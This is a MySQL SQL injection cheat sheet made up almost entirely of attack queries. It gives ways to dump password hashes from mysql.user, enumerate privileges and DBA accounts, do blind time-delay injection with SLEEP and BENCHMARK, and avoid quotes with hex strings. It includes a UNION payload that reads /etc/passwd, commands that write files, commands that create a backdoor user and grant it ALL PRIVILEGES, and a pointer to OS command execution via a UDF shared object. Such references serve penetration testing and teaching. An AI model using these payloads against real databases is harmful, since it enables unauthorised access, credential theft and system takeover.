SQL Injection Cheat Sheet (MYSQL)

Version
SELECT @@version
Comments SELECT 1; #comment
SELECT /*comment*/1;
Current User
SELECT user();
SELECT system_user();
List Users SELECT user FROM mysql.user; -- priv
List Password Hashes
SELECT host, user, password FROM mysql.user; -- priv
Password Cracker
John the Ripper will crack MySQL password hashes.
List Privileges

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; -- list user privs

SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; -- priv, list user privs

SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; -- list privs on databases (schemas)

SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; -- list privs on columns

List DBA Accounts

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';

SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv

Current Database SELECT database()
List Databases SELECT schema_name FROM information_schema.schemata; -- for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db -- priv
List Columns
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
List Tables SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
Find Tables From Column Name SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; -- find table which have a column called 'username'
Select Nth Row

SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0

Select Nth Char
SELECT substr('abcd', 3, 1); # returns c
Bitwise AND
SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0

ASCII Value -> Char

SELECT char(65); # returns A
Char -> ASCII Value SELECT ascii('A'); # returns 65
Casting SELECT cast('1' AS unsigned integer);
SELECT cast('123' AS char);
String Concatenation SELECT CONCAT('A','B'); #returns AB
SELECT CONCAT('A','B','C'); # returns ABC

If Statement

SELECT if(1=1,'foo','bar'); -- returns 'foo'
Case Statement SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A
Avoiding Quotes
SELECT 0x414243; # returns ABC
Time Delay
SELECT BENCHMARK(1000000,MD5('A'));
SELECT SLEEP(5); # >= 5.0.12
Make DNS Requests Impossible?
Command Execution

If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.

Local File Access
...' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; -- priv, write to file system
Hostname, IP Address Impossible?
Create Users
CREATE USER test1 IDENTIFIED BY 'pass1'; -- priv
Delete Users
DROP USER test1; -- priv
Make User DBA
GRANT ALL PRIVILEGES ON *.* TO test1@'%'; -- priv
Location of DB files
SELECT @@datadir;
Default/System Databases
information_schema (>= mysql 5.0)
mysql
Comments